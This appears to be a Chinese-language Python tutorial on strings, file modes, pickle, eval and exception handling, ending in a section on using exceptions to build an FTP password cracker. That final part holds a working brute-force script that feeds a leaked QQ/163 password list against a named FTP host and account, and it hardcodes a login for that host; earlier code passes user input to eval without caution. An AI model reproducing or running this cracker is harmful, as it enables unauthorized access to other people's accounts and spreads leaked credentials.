认识一下repr
str是转化成人能看懂得符号,repr是转成机器能看懂的符号
mystr=str(1.34)
print(type(mystr)) #字符串类型
print(str(1)+"1") #str()转化为字符串
x= str("1+2.5") #repr打印的时候是计算机看懂,str人可以看懂
print(type(x))
print(x) #repr '1+2.5' str 1+2.5
print(repr(1)) #str无法区分类型,统一转换字符串
print(repr("1")) #repr打印出来的时候,标记类型
print(repr([1]))
print(repr((1,)))#(1,) tuple (1) int
print("1","2")
print("1".ljust(10),"2") #对齐,ljust左边对齐
print("1".rjust(10),"2")#rjust右边对齐
print("1".zfill(10),"2") #zero fill 填充0
结果:
文件的追加写入
cmd中追加
echo asdadsad >1.txt 覆盖写入
echo asdadsad >>1.txt 追加写入
使用python追加
#r 读取,w写入覆盖,a追加
myfile =open("1.py","a") #1.txt当前目录下
myfile.write("print('hello haipeng hougong')\n")
myfile.close()
import os
os.system("python 1.py")
文件读写模式
先看代码,会遇到比较难理解的是w+,readline会去不断读入有一个文件指针,会一直往后走,需要seek到(0,0)不然读不出内容
'''
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\1.txt"
myfile=open(mypath,"r+") #文件存在的情况下,r+读写,写追加
mystr=myfile.read()
print(mystr)
myfile.write("ABCDEFG")
myfile.close()
'''
'''
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\2.txt"
myfile=open(mypath,"w+") #w+覆盖写入,同时可以读取,需要注意文件指针,
myfile.write("adsadABCDEFG")
myfile.seek(0,0)#移动到文件的开头 0,0开头
mystr=myfile.read()
print(mystr)
myfile.close()
'''
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\3.txt"
myfile=open(mypath,"a+") #不存在创建,存在追加,追加的读写
myfile.write("adsadABCDEFG")
myfile.seek(0,0)#移动到文件的开头 0,0开头
mystr=myfile.read()
print(mystr)
myfile.close()
二进制读写
decode二进制转化字符串
encode字符串转化二进制
mypath="C:\\Users\\Tsinghua-yincheng\\Desktop\\1b.txt"
myfile=open(mypath,"wb+") #文件存在的情况下,r+读写,写追加
myfile.write("ABCDEFG".encode("utf-8"))
print(type("ABCDEFG".encode("utf-8"))) #二进制编码
myfile.seek(0,0)#回到文件开头
mystr=myfile.read()
mystr=mystr.decode("utf-8") #二进制转化为字符串
print(mystr)
print(type(mystr))
myfile.close()
# decode 二进制转化字符串 读取的时候读的是二进制转化字符串
# encode 字符串转化二进制 写入的时候转化二进制
#标准 UTf-8
文件位置函数
myfile =open("1.txt","w")
print(myfile.tell()) #文件的开头0,
myfile.write("print('hello haipeng hougong')\n")
print(myfile.tell())#文件的结尾,告诉文件指针在那个位置
myfile.close()
结果:这个代表着文件指针的位置,32就是write的长度
移动文件指针位置
myfile =open("1.txt","w+")
myfile.write("print('hello haipeng hougong')\n")
myfile.seek(3,0) #移动文件指针的位置,
mystr=myfile.read()
print(mystr)
myfile.close()
结果:seek往后找
对象序列化 pickle
list,dict,tuple,set.这些类型保存文件使用pickle
'''
import pickle
mylist=[1,2,3,4,5,[1,2,3,4,[1,2,3,4,5]]]
print(mylist)
myfile=open("1.bin","wb") #打开一个文件,二进制写入
pickle.dump(mylist,myfile) # mylist填充到myfile
myfile.close() #关闭生效
'''
import pickle
myfile=open("1.bin","rb")
mylist=pickle.load(myfile) #载入
print(mylist)
myfile.close()
异常
eval功能很强大,官方解释:将字符串str当成有效的表达式来求值并返回计算结果。所以结合math当成一个计算器很好用。
x=eval(input("输入数据")) #异常,有时行有时不行
print(10/x)
print("hello world")
如何处理异常:
try: #尝试
x = eval(input("输入数据")) # 异常,有时行有时不行
print(10 / x)
except ZeroDivisionError: #抓取明确的异常错误
print("不可以输入0")
print("hello world") #即使发生异常,后续代码执行
FTP密码破解
ftplib先要输入服务器地址与登录账号密码,
import ftplib
'''
try:
myftp=ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517","qq123456")
print("密码正确")
except:
print("密码错误")
print("程序执行完成")
'''
try:
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
print("密码正确")
print("程序执行完成")
except TimeoutError:
print("超时,网络问题")
except ftplib.error_perm:
print("密码错误")
except:
print("其他错误")
'''
myftp = ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517", "qq123456")
'''
#TimeoutError
FTP密码破解机
如何用异常来破解密码,得到了地址跟账号那么密码就暴力破解,用之前的qq的密码数据从最多的到最少的顺序挨个来,穷举出所有的密码,一个一个放入checkpassword里。
import ftplib
import time
def checkpassword(password):
try:
myftp=ftplib.FTP("hk801.pc51.com")
myftp.login("qinghuabeidacn517",password)
return "密码正确"+password
except TimeoutError:
print("超时,网络问题")
time.sleep(20)
return "测试超时" + password
except:
return "密码错误" + password
passwordpath=r"C:\Users\Tsinghua-yincheng\Desktop\yinchengDay3\qqAnd163Password.txt"
passwordfile=open(passwordpath,"r",errors="ignore")
#穷举所有的密码
while True:
line=passwordfile.readline() #读取一行
if not line: #最后一行None退出
break
linelist=line.split(" # ")#切割
passwordstr= linelist[0] #抓取第一个密码
#print(checkpassword(passwordstr)) #显示密码
mystr=checkpassword(passwordstr)
print(mystr)
if mystr.find("密码正确")!=-1: #找到就退出
print("找到正确密码,退出死循环")
break
elif mystr.find("超时")!=-1:
mystr = checkpassword(passwordstr)
if mystr.find("密码正确") != -1: # 找到就退出
print("找到正确密码,退出死循环")
break
passwordfile.close()